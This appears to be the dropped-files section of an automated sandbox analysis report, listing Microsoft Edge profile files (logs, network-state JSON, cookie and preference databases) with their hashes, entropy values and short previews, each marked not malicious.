Preview:	2024/11/27-18:19:32.932 11f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/27-18:19:32.933 11f4 Recovering log #3.2024/11/27-18:19:32.936 11f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.171375580986857
Encrypted:	false
SSDEEP:	6:HCz0BOq2PN723oH+Tcwt8a2jMGIFUt8YCz0WjZZmw+YCz0fDkwON723oH+Tcwt8N:40cvVaYeb8EFUt8R0+Z/+R0r5OaYeb8N
MD5:	993DD80610EE26F7E5DD1A312B9540D2
SHA1:	0FAAD1B94FDC944CE73422BE6F4ECADD088F87AA
SHA-256:	A5049B29AA4C7206162F9A620C299384737E281D83A93656F29B2DF96D25639F
SHA-512:	03F6F88F94996335EB094C0EA9AD0D2B44D4CF7A8FAB1E7D3907D7C0B105A6DDCB80E84256B330125DCCB4E5526B29952F0874AE481DFCA7A0459BF3CF7D9451
Malicious:	false
Preview:	2024/11/27-18:19:32.932 11f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/27-18:19:32.933 11f4 Recovering log #3.2024/11/27-18:19:32.936 11f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\02dd8f75-44cf-4c42-923e-90040367324d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1da4b520-eb96-4320-9005-5234fc2fc345.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\64b477bd-07de-4234-8ba8-c616528141ea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1747
Entropy (8bit):	5.308397346731233
Encrypted:	false
SSDEEP:	48:YcCpfgCzssuRs7fcKsF1/leeIkEsFqCgHKYhbm:F2fzuY61/keIkxqTvhK
MD5:	4F23412FEC8FC01699736841869ED2AF
SHA1:	1875B11F83658B74B7F74AEF09D995096F2E9314
SHA-256:	288767DC322B1F5A81291DD86DD74C5911933AC0C32B10FC02ED61BAE88D9904
SHA-512:	F8F501C2565506BA534743FC7796AD6DF01BE92ADB8AE4B18E67237829E121181C5BE4F475F94390630179E1BA52A138B6C4C0CC791926B8F8A481C620DAEA92
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379815181532962","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379815185571380","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_a

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9ab4dbbd-b71c-4f91-acdc-fbd52eda745c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7780414091559096
Encrypted:	false
SSDEEP:	192:tT6Se9hwqzXapQOxolFD9infrL5ibXcf0L/ZJVb:V6lzzXIQOxcFDcwbXI0LhJVb
MD5:	C106988CE9C63E5FD0D80B7C4B1957E2
SHA1:	16CD2E8E0AE25419357A579943E0C846CD5C05AD
SHA-256:	BB9B2152EF243F65BED450AB3D99249B6F54E245AE87063AF5CA97A98B9B5FD3
SHA-512:	207D2F51817D862B0996B047DDA8A7FF9C4C691A1E4119DC529564958F01A2A188A82CF8CB240FB08087B83ABA8FB0D873D83E25A9890CBA33E3E50D3EEFE753
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4d2bd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3783689624540765
Encrypted:	false
SSDEEP:	96:JkIEumQv8m1ccnvS6Amm+lGFh5DUtaw1a:+IEumQv8m1ccnvS6XKDUkr
MD5:	2ABC09B01A33272E44E09A24CD6CDA00
SHA1:	F6865244387BC7C4AF4C5FE5E25E7A31D69EB872
SHA-256:	BCA0A944DE99D503C30AC0315F005BB0585CDC4553C87A31AD7F91F7AF924851
SHA-512:	B12CEDEBDD8127E36EEEB43D0F6C767B9C39E5A4AE448A39C14F8F00DB9A11E5303EFCCAD7106C4C9789F6CD4292ABD5E7D3ED06D0C2DD53C12127BF69D4AA55
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3b1fb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3dd13.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e37b6edd-7b07-4887-ab7f-1667ae09ecff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ef978696-403d-4647-9c75-9274fdfecdd5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9862
Entropy (8bit):	5.106424426144522
Encrypted:	false
SSDEEP:	192:stukdpCs4VaFvrE9k2M+82bV+FT3QAGUgPkYJ:stuQCs4VCDGbGTQAw
MD5:	51FE2790F906170ADDED7B7848E13EBC
SHA1:	A120BC35A3016A71284CC50632EC33FE4947DED9
SHA-256:	C02DC5813D84EECE8B133F60E6A089337AE4235704FE7318A62DD83EE82ECC67
SHA-512:	F30CACED7CE6B15EF600D4991353B30D9E7D8A57E591B338C736BD6DBA7EAAC75CE207D3D3944D48A86C98AF7D9E030712DFEF55205C08036BE6D10E1B7E4951
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377223172989648","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3f04d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9862
Entropy (8bit):	5.106424426144522
Encrypted:	false
SSDEEP:	192:stukdpCs4VaFvrE9k2M+82bV+FT3QAGUgPkYJ:stuQCs4VCDGbGTQAw
MD5:	51FE2790F906170ADDED7B7848E13EBC
SHA1:	A120BC35A3016A71284CC50632EC33FE4947DED9
SHA-256:	C02DC5813D84EECE8B133F60E6A089337AE4235704FE7318A62DD83EE82ECC67
SHA-512:	F30CACED7CE6B15EF600D4991353B30D9E7D8A57E591B338C736BD6DBA7EAAC75CE207D3D3944D48A86C98AF7D9E030712DFEF55205C08036BE6D10E1B7E4951
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377223172989648","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF41d58.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9862
Entropy (8bit):	5.106424426144522
Encrypted:	false
SSDEEP:	192:stukdpCs4VaFvrE9k2M+82bV+FT3QAGUgPkYJ:stuQCs4VCDGbGTQAw
MD5:	51FE2790F906170ADDED7B7848E13EBC
SHA1:	A120BC35A3016A71284CC50632EC33FE4947DED9
SHA-256:	C02DC5813D84EECE8B133F60E6A089337AE4235704FE7318A62DD83EE82ECC67
SHA-512:	F30CACED7CE6B15EF600D4991353B30D9E7D8A57E591B338C736BD6DBA7EAAC75CE207D3D3944D48A86C98AF7D9E030712DFEF55205C08036BE6D10E1B7E4951
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377223172989648","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF45725.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9862
Entropy (8bit):	5.106424426144522
Encrypted:	false
SSDEEP:	192:stukdpCs4VaFvrE9k2M+82bV+FT3QAGUgPkYJ:stuQCs4VCDGbGTQAw
MD5:	51FE2790F906170ADDED7B7848E13EBC
SHA1:	A120BC35A3016A71284CC50632EC33FE4947DED9
SHA-256:	C02DC5813D84EECE8B133F60E6A089337AE4235704FE7318A62DD83EE82ECC67
SHA-512:	F30CACED7CE6B15EF600D4991353B30D9E7D8A57E591B338C736BD6DBA7EAAC75CE207D3D3944D48A86C98AF7D9E030712DFEF55205C08036BE6D10E1B7E4951
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377223172989648","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b293.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9862
Entropy (8bit):	5.106424426144522
Encrypted:	false
SSDEEP:	192:stukdpCs4VaFvrE9k2M+82bV+FT3QAGUgPkYJ:stuQCs4VCDGbGTQAw
MD5:	51FE2790F906170ADDED7B7848E13EBC
SHA1:	A120BC35A3016A71284CC50632EC33FE4947DED9
SHA-256:	C02DC5813D84EECE8B133F60E6A089337AE4235704FE7318A62DD83EE82ECC67
SHA-512:	F30CACED7CE6B15EF600D4991353B30D9E7D8A57E591B338C736BD6DBA7EAAC75CE207D3D3944D48A86C98AF7D9E030712DFEF55205C08036BE6D10E1B7E4951
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377223172989648","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.5649351973342975
Encrypted:	false
SSDEEP:	768:fv95QbW8xW5wImf4i18F1+UoAYDCx9Tuqh0VfUC9xbog/OVPdlIKnIMrwXw+pStK:fVib7xWaImfr1u1jaMFIl8tK
MD5:	F060043AD8491C2979344191AB733302
SHA1:	DDE46CA52FB2C4E5D981A0824F1F1F34852170D2
SHA-256:	87C59FC7FE0E20A58C23DBF208505C7A6D206B16ED95C2BEEC44C69AA2C07D4C
SHA-512:	01BAD7441EADDC566C19AA199C4D577EA3F87B0BD29DCCD167F1DC6255262829B682B273D85632D08F7CC2E4098203A0DC86E8375FBC5EACA738C098C12F7322
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377223172426435","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377223172426435","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3f05c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.5649351973342975
Encrypted:	false
